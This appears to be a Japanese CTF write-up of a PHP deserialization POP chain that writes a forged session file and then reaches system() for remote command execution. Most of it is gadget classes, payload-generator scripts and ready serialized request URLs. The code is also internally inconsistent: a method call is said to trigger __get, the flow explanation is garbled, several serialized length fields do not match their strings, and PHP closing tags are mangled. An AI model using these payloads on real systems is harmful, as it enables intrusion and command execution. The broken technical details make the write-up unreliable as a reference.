PHPシリアライズ展開とセッション操作によるRCE攻撃手法解説

ソースコード構造の解析

出題されたPHPスクリプトは、ユーザー入力をunserialize()で復元した後に条件分岐を行う設計になっています。セキュリティホールを特定するには、魔术メソッドの呼び出し順序と動的変数展開の仕組みを理解する必要があります。

<?php
// 属性参照時に内部ルーティングをトリガーするクラス
class RouteHandler {
    public function __get($property) {
        $this->executor->activate();
    }
}

// オブジェクト破棄時にチェーンを発動し、初期化時フックで防御を試みるクラス
class Orchestrator {
    public function __destruct() {
        $this->target->process();
    }
    public function __wakeup() {
        $this->target = null;
        $this->executor = null;
    }
}

// ファイル出力ロジックを内包するクラス
class DataWriter {
    public function activate() {
        // 未定義プロパティ参照により __get を再帰的に呼出す
        $this->internalBuffer;
    }
    public function __get($property) {
        if (preg_match('/\.|\.php/', $this->targetPath)) {
            die('Invalid path detected.');
        }
        file_put_contents($this->targetPath, base64_decode($this->payloadData));
    }
}

// コールバック実行機能を備えるクラス
class ActionInvoker {
    public function activate() {
        call_user_func($this->callbackMethod);
    }
}

// --- メインロジック ---
if (isset($_GET['chain_payload'])) {
    unserialize($_GET['chain_payload']);
    
    // 末尾が N のパラメータのみ抽出
    if (preg_match('/N$/', $_GET['mode_flag'])) {
        $mode_var = $_GET['mode_flag'];
    }
} else {
    show_source(__FILE__);
    phpinfo();
}

// 動的変数展開による比較チェック
if ($$mode_var['status_code'] === 'challenge_success!') {
    echo 'Access Granted.';
    system($_GET['cmd_exec']);
}
?

脆弱性フローの特定

  • Orchestrator::__destruct$this->target->process() が実行される
  • $this->targetRouteHandler を設定すると、process() の存在しないメソッド名(ここでは process だが実際は process` をトリガーせず、__get` を経由させる構成にする)により RouteHandler::__get が発火
  • DataWriteractivate() から未定義プロパティ $internalBuffer へのアクセスで再び __get が呼ばれ、file_put_contents() によるファイル書き込みが可能
  • 最終判定部では $$mode_var['status_code'] という擬似変数参照が存在するため、mode_flag=_SESSION を渡すことでセッションファイル内のデータを直接比較値として利用できる

攻撃チェーンの構築:第1フェーズ(セッションファイルの注入)

まずは環境から取得したセッション保管パス(例: /var/lib/php/sessions/)とハンドラ情報を用いて、条件分岐をパスするための文字列を含むセッションファイルを生成します。__wakeup でターゲットオブジェクトがnullに上書きされるため、オブジェクト参照(リファレンス)を保持することで回避します。

<?php
class RouteHandler { public function __get($k) { $this->executor->activate(); } }
class Orchestrator { 
    public function __destruct() { $this->target->process(); }
    public function __wakeup() { $this->target = null; $this->executor = null; } 
}
class DataWriter {
    public function activate() { $this->buffer; }
    public function __get($k) {
        if(preg_match('/\.|\.php/', $this->targetPath)) die('Blocked');
        file_put_contents($this->targetPath, base64_decode($this->payloadData));
    }
}
class ActionInvoker { public function activate() { $this->callbackMethod(); } }

$orch = new Orchestrator();
$route = new RouteHandler();
$writer = new DataWriter();
$action = new ActionInvoker();

// チェーン接続
$orch->executor = $route;
$route->executor = $writer;

// __wakeup 回避のため自身への参照を設定
$orch->target = &$orch->executor;

// 書き込み先とペイロードの準備
$writer->targetPath = '/var/lib/php/sessions/sess_attacker';
$writer->payloadData = 'c3RhdHVzX2NvZGV8czoxNToiY2hhbGxlbmdlX3N1Y2Nlc3MhIjs='; 
// 意味: status_code|s:15:"challenge_success!";

echo serialize($orch);
?

生成されたシリアライズ文字列を以下のように送信します。

?chain_payload=O:12:"Orchestrator":3:{s:8:"executor";O:12:"RouteHandler":1:{s:8:"executor";O:9:"DataWriter":2:{s:10:"targetPath";s:33:"/var/lib/php/sessions/sess_attacker";s:12:"payloadData";s:47:"c3RhdHVzX2NvZGV8czoxNToiY2hhbGxlbmdlX3N1Y2Nlc3MhIjs=";}}s:6:"target";R:5;s:8:"executor";N;}

攻撃チェーンの構築:第2フェーズ(セッション読込とコマンド実行)

生成したセッションファイルを読み込み、条件節を通過させて system() を起動します。この際、ActionInvokeractivate() を経由して session_start() をコールバックとして登録します。

<?php
// クラス定義は省略(前項と同一)
$orch = new Orchestrator();
$route = new RouteHandler();
$invoker = new ActionInvoker();

$orch->executor = $route;
$route->executor = $invoker;
$orch->target = &$orch->executor;

// セッション読み込みをトリガー
$invoker->callbackMethod = 'session_start';

echo serialize($orch);
?

対応するリクエストURLは以下のようになります。

?chain_payload=O:12:"Orchestrator":3:{s:8:"executor";O:12:"RouteHandler":1:{s:8:"executor";O:12:"ActionInvoker":1:{s:14:"callbackMethod";s:13:"session_start";}}s:6:"target";R:5;s:8:"executor";N;}&mode_flag=_SESSION&cmd_exec=id

パラメータ解釈の流れ:

  • mode_flag=_SESSION$mode_var に代入され、最終チェックで $$mode_var$_SESSION として展開される
  • 先に登録したセッションファイルには status_code|s:15:"challenge_success!"; が記録されており、session_start() 実行直後にメモリ上に復元される
  • $_SESSION['status_code'] === 'challenge_success!' の条件を満たすと、以降の system() ブロックが正常実行される

クッキーヘッダーには PHPSESSID=attacker を設定することで、セッション識別子と保存ファイルを一致させます。

タグ: php-deserialization RCE magic-methods session-handling ctf-reversing

5月28日 20:48 投稿